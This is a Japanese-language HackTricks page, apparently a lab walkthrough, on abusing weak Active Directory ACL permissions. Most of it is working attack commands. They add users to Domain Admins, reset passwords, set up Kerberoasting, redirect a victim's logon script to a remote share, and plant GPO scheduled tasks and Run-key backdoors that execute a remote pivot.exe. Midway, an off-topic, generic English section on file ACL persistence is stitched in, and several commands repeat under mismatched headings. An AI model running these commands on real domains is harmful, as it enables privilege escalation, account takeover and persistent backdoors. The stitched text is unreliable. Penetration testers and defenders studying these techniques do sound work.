hacktricks/windows-hardening/active-directory-methodology/acl-persistence-abuse
2023-09-03 01:45:18 +00:00
..
README.md Translated ['generic-methodologies-and-resources/exfiltration.md', 'gene 2023-09-03 01:45:18 +00:00
shadow-credentials.md Translated ['windows-hardening/active-directory-methodology/acl-persiste 2023-08-07 05:31:02 +00:00

Active Directory ACL/ACEの悪用

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

最も重要な脆弱性を見つけて、より速く修正できるようにしましょう。Intruderは、攻撃対象の範囲を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリまで、クラウドシステムを含むテックスタック全体で問題を見つけます。無料でお試しください

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}


コンテキスト

このラボは、Active DirectoryのDiscretionary Access Control ListsDACLおよびAccess Control EntriesACEの弱い権限を悪用することを目的としています。

ユーザーやグループなどのActive Directoryオブジェクトは、セキュリティ可能なオブジェクトであり、DACL/ACEはそれらのオブジェクトを読み取る/変更することができるユーザーを定義します(アカウント名の変更、パスワードのリセットなど)。

「Domain Admins」セキュリティ可能なオブジェクトのACEの例は次のとおりです

攻撃者として興味があるいくつかのActive Directoryオブジェクトの権限とタイプ

  • GenericAll - オブジェクトへの完全なアクセス権(ユーザーをグループに追加したり、ユーザーのパスワードをリセットするなど)
  • GenericWrite - オブジェクトの属性を更新する(ログオンスクリプトなど)
  • WriteOwner - オブジェクトの所有者を攻撃者が制御するユーザーに変更し、オブジェクトを乗っ取る
  • WriteDACL - オブジェクトのACEを変更し、攻撃者にオブジェクトの完全な制御権を与える
  • AllExtendedRights - ユーザーをグループに追加したり、パスワードをリセットする能力
  • ForceChangePassword - ユーザーのパスワードを変更する能力
  • SelfSelf-Membership - 自分自身をグループに追加する能力

このラボでは、上記のACEのほとんどを探索し、悪用しようとします。

評価中に一般的でないものに遭遇する可能性があるため、BloodHoundのエッジとActive Directoryの拡張権限をすべて把握しておくことは価値があります。

ユーザーに対するGenericAll

powerviewを使用して、攻撃者のユーザーspotlessがユーザーdelegateのADオブジェクトに対してGenericAll権限を持っているかどうかを確認しましょう:

Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.ActiveDirectoryRights -eq "GenericAll"}

私たちは、実際にユーザーspotlessGenericAll権限を持っていることがわかります。これにより、攻撃者はアカウントを乗っ取ることができます。

  • パスワードの変更: 以下のコマンドを使用して、ユーザーのパスワードを変更できます。
net user <username> <password> /domain
  • ターゲット指定のKerberoasting: アカウントにSPNを設定し、ユーザーをkerberoastableにすることができます。その後、オフラインでクラックを試みることができます。
# SPNの設定
Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
# ハッシュの取得
.\Rubeus.exe kerberoast /user:<username> /nowrap
# SPNのクリーンアップ
Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose

# また、ツールhttps://github.com/ShutdownRepo/targetedKerberoastを使用して、
# 1つまたはすべてのユーザーのハッシュを取得することもできます
python3 targetedKerberoast.py -domain.local -u <username> -p password -v
  • ターゲット指定のASREPRoasting: ユーザーのpreauthentication無効化して、ユーザーをASREPRoastableにすることができます。
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}

グループのGenericAll

Domain adminsグループに弱い権限があるかどうかを確認しましょう。まず、distinguishedNameを取得しましょう。

Get-NetGroup "domain admins" -FullData

Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local"}

私たちの攻撃ユーザーspotlessが再びGenericAll権限を持っていることがわかります:

これにより、私たちは(ユーザーspotlessとして)Domain Adminグループに自分自身を追加することができます:

net group "domain admins" spotless /add /domain

同じことはActive DirectoryまたはPowerSploitモジュールでも実現できます。

# with active directory module
Add-ADGroupMember -Identity "domain admins" -Members spotless

# with Powersploit
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"

GenericAll / GenericWrite / Write on Computer/User

{% content-ref url="shadow-credentials.md" %} shadow-credentials.md {% endcontent-ref %}

GroupへのWriteProperty

制御されたユーザーがDomain AdminグループのAllオブジェクトに対してWriteProperty権限を持っている場合:

私たちは再び自分自身をDomain Adminsグループに追加し、特権を昇格させることができます。

net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain

グループへの自己(自己メンバーシップ)の追加

攻撃者が自分自身をグループに追加することを可能にする別の特権:

net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain

WriteProperty自己メンバーシップ

攻撃者が自身をグループに追加することを可能にするもう1つの特権です。

Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}

ACL Persistence Abuse

Overview

ACL (Access Control List) Persistence Abuse is a technique used by attackers to maintain persistence on a compromised Windows system by manipulating the permissions of certain files or directories. By modifying the ACLs, an attacker can ensure that their malicious code or backdoor remains undetected and continues to execute even after system reboots or security updates.

Methodology

  1. Identify target files or directories: The first step is to identify the files or directories that are suitable for ACL manipulation. These are typically system files or directories that are frequently accessed or executed by the operating system or other applications.

  2. Analyze existing ACLs: Next, analyze the existing ACLs of the target files or directories to understand the current permissions and access rights. This will help in identifying the specific ACLs that need to be modified.

  3. Modify ACLs: Modify the ACLs of the target files or directories to grant the necessary permissions to the attacker's code or backdoor. This can be done using various methods, such as using the icacls command-line tool or programmatically through scripting.

  4. Test persistence: Test the persistence by rebooting the system or triggering a security update. Ensure that the attacker's code or backdoor continues to execute without being detected.

  5. Maintain persistence: To maintain persistence, periodically check and modify the ACLs if necessary. This will ensure that the attacker's code or backdoor remains active even after system changes or updates.

Mitigation

To mitigate ACL Persistence Abuse, follow these best practices:

  • Regularly review and audit the ACLs of critical system files and directories.
  • Restrict permissions to only necessary users and groups.
  • Implement strong password policies to prevent unauthorized access.
  • Monitor system logs and network traffic for any suspicious activity.
  • Keep the operating system and applications up to date with the latest security patches.

By following these practices, you can reduce the risk of ACL Persistence Abuse and enhance the security of your Windows systems.

net group "domain admins" spotless /add /domain

ForceChangePassword

User-Force-Change-PasswordオブジェクトタイプのExtendedRightを持っている場合、現在のパスワードを知らずにユーザーのパスワードをリセットすることができます。

Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}

同じことをpowerviewで行う場合:

Set-DomainUserPassword -Identity delegate -Verbose

パスワードの安全な文字列変換をいじる必要がない別の方法:

$c = Get-Credential
Set-DomainUserPassword -Identity delegate -AccountPassword $c.Password -Verbose

...または、対話型セッションが利用できない場合は、ワンライナーを使用します。

Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose

そして、Linuxからこれを達成する最後の方法は次のとおりです

rpcclient -U KnownUsername 10.10.10.192
> setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!'

詳細情報:

グループの WriteOwner

攻撃前に Domain Admins の所有者が Domain Admins であることに注意してください:

ACE 列挙後、制御下のユーザーが ObjectType:All に対して WriteOwner 権限を持っていることがわかった場合、

Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}

...私たちはDomain Adminsオブジェクトの所有者を私たちのユーザーであるspotlessに変更することができます。-Identityで指定されたSIDはDomain AdminsグループのSIDです。

Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
//You can also use the name instad of the SID (HTB: Reel)
Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico

ユーザーに対するGenericWrite

概要

この攻撃手法では、Active DirectoryADのアクセス制御リストACLの権限を悪用して、ユーザーオブジェクトに対してGenericWrite権限を与えます。GenericWrite権限は、ユーザーオブジェクトの属性を変更するために必要な権限です。この攻撃手法を使用すると、攻撃者はユーザーオブジェクトの属性を変更し、権限を拡大することができます。

攻撃手順

  1. 攻撃者はActive Directory内のユーザーオブジェクトのACLを調査します。
  2. 攻撃者は、ユーザーオブジェクトのACLに対してGenericWrite権限を追加します。
  3. 攻撃者は、ユーザーオブジェクトの属性を変更し、権限を拡大します。

対策方法

この攻撃手法を防ぐためには、以下の対策を実施することが重要です。

  • Active DirectoryのACLを定期的に監査し、不正な変更を検出する。
  • ユーザーオブジェクトのACLに対して適切な権限を設定し、不要な権限を削除する。
  • セキュリティポリシーを適用し、不正な変更を防止する。

参考情報

Get-ObjectAcl -ResolveGUIDs -SamAccountName delegate | ? {$_.IdentityReference -eq "OFFENSE\spotless"}

ObjectTypeWritePropertyは、この特定の場合ではScript-Pathです。これにより、攻撃者はdelegateユーザーのログオンスクリプトパスを上書きすることができます。つまり、次回delegateユーザーがログオンすると、システムは私たちの悪意のあるスクリプトを実行します。

Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"

以下は、ユーザーの~~delegate~~ログオンスクリプトフィールドがADで更新されたことを示しています

グループのGenericWrite

これにより、新しいユーザー(例えば、自分自身)をグループのメンバーとして設定できます:

# Create creds
$pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
# Add user to group
Add-DomainGroupMember -Credential $creds -Identity 'Group Name' -Members 'username' -Verbose
# Check user was added
Get-DomainGroupMember -Identity "Group Name" | Select MemberName
# Remove group member
Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'username' -Verbose

最も重要な脆弱性を見つけて、より速く修正できるようにしましょう。Intruderは攻撃対象を追跡し、予防的な脅威スキャンを実行し、APIからWebアプリやクラウドシステムまで、技術スタック全体で問題を見つけます。無料でお試しください

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}


WriteDACL + WriteOwner

もし私がTest ADグループのオーナーである場合

もちろん、PowerShellを使用してもできます

([ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local").PSBase.get_ObjectSecurity().GetOwner([System.Security.Principal.NTAccount]).Value

そして、そのADオブジェクトにはWriteDACLがあります:

...ADSIの魔法を使って、自分自身にGenericAll特権を与えることができます:

$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference,"GenericAll","Allow"
$ADSI.psbase.ObjectSecurity.SetAccessRule($ACE)
$ADSI.psbase.commitchanges()

これは、ADオブジェクトを完全に制御できることを意味します

これにより、新しいユーザーをグループに追加することができます。

興味深いことに、Active DirectoryモジュールとSet-Acl / Get-Aclコマンドレットを使用してこれらの特権を悪用することはできませんでした:

$path = "AD:\CN=test,CN=Users,DC=offense,DC=local"
$acl = Get-Acl -Path $path
$ace = new-object System.DirectoryServices.ActiveDirectoryAccessRule (New-Object System.Security.Principal.NTAccount "spotless"),"GenericAll","Allow"
$acl.AddAccessRule($ace)
Set-Acl -Path $path -AclObject $acl

ドメイン上でのレプリケーションDCSync

DCSync権限は、ドメイン自体に対して次の権限を持つことを意味します:DS-Replication-Get-ChangesReplicating Directory Changes All、およびReplicating Directory Changes In Filtered Set
DCSync攻撃について詳しくはこちらをご覧ください。

GPOの委任

時には、特定のユーザー/グループがGroup Policy Objectsを管理するためにアクセスを委任される場合があります。例えば、offense\spotlessユーザーの場合です:

PowerViewを活用することで、これを確認することができます

Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}

以下は、ユーザーoffense\spotlessWritePropertyWriteDaclWriteOwnerの特権を持っていることを示しています。他にも悪用される可能性のある特権がいくつかあります。

GPOの権限を列挙する

上記のスクリーンショットから、ObjectDNがCN=Policiesを指し、またGPOの設定でハイライトされているCN={DDC640FF-634A-4442-BC2E-C05EED132F0C}と同じであるため、上記のObjectDNはNew Group Policy Object GPOを指していることがわかります。

特定の設定ミスのあるGPOを検索したい場合は、PowerSploitの複数のコマンドレットを以下のように連鎖させることができます。

Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}

指定されたポリシーが適用されたコンピューター

次に、GPO「Misconfigured Policy」が適用されているコンピューター名を解決できます。

Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}

特定のコンピュータに適用されるポリシー

Get-DomainGPO -ComputerIdentity ws01 -Properties Name, DisplayName

指定されたポリシーが適用されたOU

Get-DomainOU -GPLink "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" -Properties DistinguishedName

GPOの乱用 - New-GPOImmediateTask

この設定の乱用とコードの実行を行う方法の一つは、次のようにGPOを介して即時スケジュールされたタスクを作成することです:

New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force

上記のコードは、ユーザーspotlessを侵害されたボックスのローカルのadministratorsグループに追加します。コードの実行前に、グループにはユーザーspotlessが含まれていないことに注意してください。

GroupPolicyモジュール - GPOの乱用

{% hint style="info" %} GroupPolicyモジュールがインストールされているかどうかを確認するには、Get-Module -List -Name GroupPolicy | select -expand ExportedCommandsを使用できます。必要な場合は、ローカル管理者としてInstall-WindowsFeature Name GPMCでインストールすることもできます。 {% endhint %}

# Create new GPO and link it with the OU Workstrations
New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
# Make the computers inside Workstrations create a new reg key that will execute a backdoor
## Search a shared folder where you can write and all the computers affected can read
Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString

このペイロードは、GPOが更新された後、コンピュータ内でログインする必要があります。

SharpGPOAbuse - GPOの乱用

{% hint style="info" %} GPOを作成することはできないため、引き続きRSATを使用するか、すでに書き込みアクセス権限を持っているGPOを変更する必要があります。 {% endhint %}

.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging"

ポリシーの強制更新

前回の乱用された GPOの更新はおおよそ90分ごとに再読み込み されます。
コンピュータにアクセスできる場合は、gpupdate /force で強制的に更新することができます。

内部構造

Misconfigured Policy GPOのスケジュールされたタスクを観察すると、evilTask がそこに存在していることがわかります:

以下は、GPO内の私たちの邪悪なスケジュールされたタスクを表す New-GPOImmediateTask によって作成されたXMLファイルです:

{% code title="\offense.local\SysVol\offense.local\Policies{DDC640FF-634A-4442-BC2E-C05EED132F0C}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml" %}

<?xml version="1.0" encoding="utf-8"?>
<ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}">
<ImmediateTaskV2 clsid="{9756B581-76EC-4169-9AFC-0CA8D43ADB5F}" name="evilTask" image="0" changed="2018-11-20 13:43:43" uid="{6cc57eac-b758-4c52-825d-e21480bbb47f}" userContext="0" removePolicy="0">
<Properties action="C" name="evilTask" runAs="NT AUTHORITY\System" logonType="S4U">
<Task version="1.3">
<RegistrationInfo>
<Author>NT AUTHORITY\System</Author>
<Description></Description>
</RegistrationInfo>
<Principals>
<Principal id="Author">
<UserId>NT AUTHORITY\System</UserId>
<RunLevel>HighestAvailable</RunLevel>
<LogonType>S4U</LogonType>
</Principal>
</Principals>
<Settings>
<IdleSettings>
<Duration>PT10M</Duration>
<WaitTimeout>PT1H</WaitTimeout>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
<AllowHardTerminate>false</AllowHardTerminate>
<StartWhenAvailable>true</StartWhenAvailable>
<AllowStartOnDemand>false</AllowStartOnDemand>
<Enabled>true</Enabled>
<Hidden>true</Hidden>
<ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
<Priority>7</Priority>
<DeleteExpiredTaskAfter>PT0S</DeleteExpiredTaskAfter>
<RestartOnFailure>
<Interval>PT15M</Interval>
<Count>3</Count>
</RestartOnFailure>
</Settings>
<Actions Context="Author">
<Exec>
<Command>cmd</Command>
<Arguments>/c net localgroup administrators spotless /add</Arguments>
</Exec>
</Actions>
<Triggers>
<TimeTrigger>
<StartBoundary>%LocalTimeXmlEx%</StartBoundary>
<EndBoundary>%LocalTimeXmlEx%</EndBoundary>
<Enabled>true</Enabled>
</TimeTrigger>
</Triggers>
</Task>
</Properties>
</ImmediateTaskV2>
</ScheduledTasks>

{% endcode %}

ユーザーとグループ

同じ特権昇格は、GPOのユーザーとグループ機能を悪用することで達成することができます。以下のファイルの6行目に注目してください。ここでは、ユーザーspotlessがローカルのadministratorsグループに追加されています。私たちはユーザーを他のものに変更したり、別のユーザーを追加したり、ユーザーを別のグループ/複数のグループに追加したりすることができます。なぜなら、GPOの委任が私たちのユーザーspotlessに割り当てられているため、表示される場所のポリシー設定ファイルを変更することができるからです。

{% code title="\offense.local\SysVol\offense.local\Policies{DDC640FF-634A-4442-BC2E-C05EED132F0C}\Machine\Preferences\Groups" %}

<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
<Group clsid="{6D4A79E4-529C-4481-ABD0-F5BD7EA93BA7}" name="Administrators (built-in)" image="2" changed="2018-12-20 14:08:39" uid="{300BCC33-237E-4FBA-8E4D-D8C3BE2BB836}">
<Properties action="U" newName="" description="" deleteAllUsers="0" deleteAllGroups="0" removeAccounts="0" groupSid="S-1-5-32-544" groupName="Administrators (built-in)">
<Members>
<Member name="spotless" action="ADD" sid="" />
</Members>
</Properties>
</Group>
</Groups>

{% endcode %}

さらに、ログオン/ログオフスクリプトを活用したり、レジストリを使用して自動実行を行ったり、.msiをインストールしたり、サービスを編集したりすることも考えられます。

参考文献

最も重要な脆弱性を見つけて、より迅速に修正できます。Intruderは攻撃対象を追跡し、予防的な脅威スキャンを実行し、APIからWebアプリ、クラウドシステムまで、テックスタック全体で問題を見つけます。無料でお試しください

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥